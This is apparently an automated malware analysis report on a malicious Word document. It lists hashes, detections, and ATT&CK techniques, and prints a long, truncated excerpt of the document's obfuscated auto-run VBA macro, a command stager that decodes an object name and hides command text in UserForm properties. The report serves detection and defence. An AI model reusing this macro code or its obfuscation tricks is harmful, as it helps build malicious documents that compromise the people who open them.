Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 5e842e47338636cf…

MALICIOUS

Office (OLE)

238.4 KB Created: 2020-08-17 20:02:00 Authoring application: Microsoft Office Word First seen: 2020-09-07
MD5: 8cd371ce4400a1eb05ee3468a72415d4 SHA-1: 927bf38c986cece2d58434a1e4b374e2e0edd4a7 SHA-256: 5e842e47338636cf919cf4da91f192fdee581c3e70625ca84d9ff63ab8b6a012
262 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The sample contains VBA macros, including a Document_Open macro and a hidden UserForm command stager, which are indicative of malicious intent. The critical heuristic firing for 'VBA UserForm hidden-property command stager' strongly suggests the macro is designed to execute arbitrary code, likely by downloading a secondary payload. The ClamAV detection further confirms its malicious nature. No specific family could be identified.

Heuristics 7

  • ClamAV: Doc.Malware.Evbj-9371173-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Malware.Evbj-9371173-0
  • VBA macros detected medium 4 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • VBA UserForm hidden-property command stager critical OLE_VBA_USERFORM_HIDDEN_COMMAND_STAGER
    VBA auto-exec macro creates a COM object from a decoded variable and reconstructs command text through Split/Join and hidden UserForm properties such as ControlTipText, Tag, Pages, or HelpContextId. This is a high-confidence macro downloader/loader shape seen in the reviewed OLE set, but it is not an Office CVE exploit primitive.
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 9615 bytes
SHA-256: b838b1f81cf07eb8d45bce05d2395b96213a6fe97c9d0c03366003330ed20f30
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "Pknew6o60tip"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub _
Document_open()
Uy7hps628dzabgup.Nfgj3yee84xe8
End Sub


Attribute VB_Name = "Uy7hps628dzabgup"
Attribute VB_Base = "0{7066E0D3-120C-4F0F-A1A4-5B433535C3C7}{6F6476AC-43D4-4EFC-A491-7FEC19361551}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
Function Nfgj3yee84xe8()
   If 791639 <> 777579 Then
P8uy0q6hgqmeoi = 791639 + 1989
E481t4xmjcw1b = 777579 - 2013
Else
InputBox (CStr(P8uy0q6hgqmeoi) & CStr(E481t4xmjcw1b))
End If
E481t4xmjcw1b = "KAjamLNcTV"
Ejd6m0lmeltxof = 623691
Cagpq8eghrm = Cagpq8eghrm & CStr(Ejd6m0lmeltxof)
Dozazny87hi5qmznf = Cagpq8eghrm
M8qx5y2r15waum = Uy7hps628dzabgup.HelpContextId + 100
   If 791639 <> 777579 Then
P8uy0q6hgqmeoi = 791639 + 1989
E481t4xmjcw1b = 777579 - 2013
Else
InputBox (CStr(P8uy0q6hgqmeoi) & CStr(E481t4xmjcw1b))
End If
E481t4xmjcw1b = "KAjamLNcTV"
Ejd6m0lmeltxof = 623691
Cagpq8eghrm = Cagpq8eghrm & CStr(Ejd6m0lmeltxof)
Dozazny87hi5qmznf = Cagpq8eghrm
M1myex4tizorm = ChrW(M8qx5y2r15waum + (100 + 35) / 9)
   If 791639 <> 777579 Then
P8uy0q6hgqmeoi = 791639 + 1989
E481t4xmjcw1b = 777579 - 2013
Else
InputBox (CStr(P8uy0q6hgqmeoi) & CStr(E481t4xmjcw1b))
End If
E481t4xmjcw1b = "KAjamLNcTV"
Ejd6m0lmeltxof = 623691
Cagpq8eghrm = Cagpq8eghrm & CStr(Ejd6m0lmeltxof)
Dozazny87hi5qmznf = Cagpq8eghrm
Qasqrkjeuwekm2 = "8[2[23bjgas ooo82&jhsb uqgw[[[ww2s8[2[23bjgas ooo82&jhsb uqgw[[[ww2sw8[2[23bjgas ooo82&jhsb uqgw[[[ww2si8[2[23bjgas ooo82&jhsb uqgw[[[ww2snm8[2[23bjgas ooo82&jhsb uqgw[[[ww2s8[2[23bjgas ooo82&jhsb uqgw[[[ww2sgm8[2[23bjgas ooo82&jhsb uqgw[[[ww2st8[2[23bjgas ooo82&jhsb uqgw[[[ww2s8[2[23bjgas ooo82&jhsb uqgw[[[ww2s" + M1myex4tizorm + "8[2[23bjgas ooo82&jhsb uqgw[[[ww2s8[2[23bjgas ooo82&jhsb uqgw[[[ww2s:8[2[23bjgas ooo82&jhsb uqgw[[[ww2sw8[2[23bjgas ooo82&jhsb uqgw[[[ww2sin8[2[23bjgas ooo82&jhsb uqgw[[[ww2s8[2[23bjgas ooo82&jhsb uqgw[[[ww2s38[2[23bjgas ooo82&jhsb uqgw[[[ww2s28[2[23bjgas ooo82&jhsb uqgw[[[ww2s_8[2[23bjgas ooo82&jhsb uqgw[[[ww2s" + Uy7hps628dzabgup.Thc7p821cw2 + "8[2[23bjgas ooo82&jhsb uqgw[[[ww2sro8[2[23bjgas ooo82&jhsb uqgw[[[ww2s8[2[23bjgas ooo82&jhsb uqgw[[[ww2sce8[2[23bjgas ooo82&jhsb uqgw[[[ww2ss8[2[23bjgas ooo82&jhsb uqgw[[[ww2ss8[2[23bjgas ooo82&jhsb uqgw[[[ww2s"
   If 791639 <> 777579 Then
P8uy0q6hgqmeoi = 791639 + 1989
E481t4xmjcw1b = 777579 - 2013
Else
InputBox (CStr(P8uy0q6hgqmeoi) & CStr(E481t4xmjcw1b))
End If
E481t4xmjcw1b = "KAjamLNcTV"
Ejd6m0lmeltxof = 623691
Cagpq8eghrm = Cagpq8eghrm & CStr(Ejd6m0lmeltxof)
Dozazny87hi5qmznf = Cagpq8eghrm
Uw89am9wu2tihodn5d = Gmx59rt6tjra(Qasqrkjeuwekm2)
   If 791639 <> 777579 Then
P8uy0q6hgqmeoi = 791639 + 1989
E481t4xmjcw1b = 777579 - 2013
Else
InputBox (CStr(P8uy0q6hgqmeoi) & CStr(E481t4xmjcw1b))
End If
E481t4xmjcw1b = "KAjamLNcTV"
Ejd6m0lmeltxof = 623691
Cagpq8eghrm = Cagpq8eghrm & CStr(Ejd6m0lmeltxof)
Dozazny87hi5qmznf = Cagpq8eghrm
Set A3n3aiyg5p3 = CreateObject(Uw89am9wu2tihodn5d)
   If 791639 <> 777579 Then
P8uy0q6hgqmeoi = 791639 + 1989
E481t4xmjcw1b = 777579 - 2013
Else
InputBox (CStr(P8uy0q6hgqmeoi) & CStr(E481t4xmjcw1b))
End If
E481t4xmjcw1b = "KAjamLNcTV"
Ejd6m0lmeltxof = 623691
Cagpq8eghrm = Cagpq8eghrm & CStr(Ejd6m0lmeltxof)
Dozazny87hi5qmznf = Cagpq8eghrm
Pxz3v0za4lbefcekdg = Uy7hps628dzabgup.X_uphk83zqj5rzdxv.ControlTipText
   If 791639 <> 777579 Then
P8uy0q6hgqmeoi = 791639 + 1989
E481t4xmjcw1b = 777579 - 2013
Else
InputBox (CStr(P8uy0q6hgqmeoi) & CStr(E481t4xmjcw1b))
End If
E481t4xmjcw1b = "KAjamLNcTV"
Ejd6m0lmeltxof = 623691
Cagpq8eghrm = Cagpq8eghrm & CStr(Ejd6m0lmeltxof)
Dozazny87hi5qmznf = Cagpq8eghrm
F4rrcessjywwdn = Irfcih9zm4e_n + (Uw89am9wu2tihodn5d + M1myex4tizorm
... (truncated)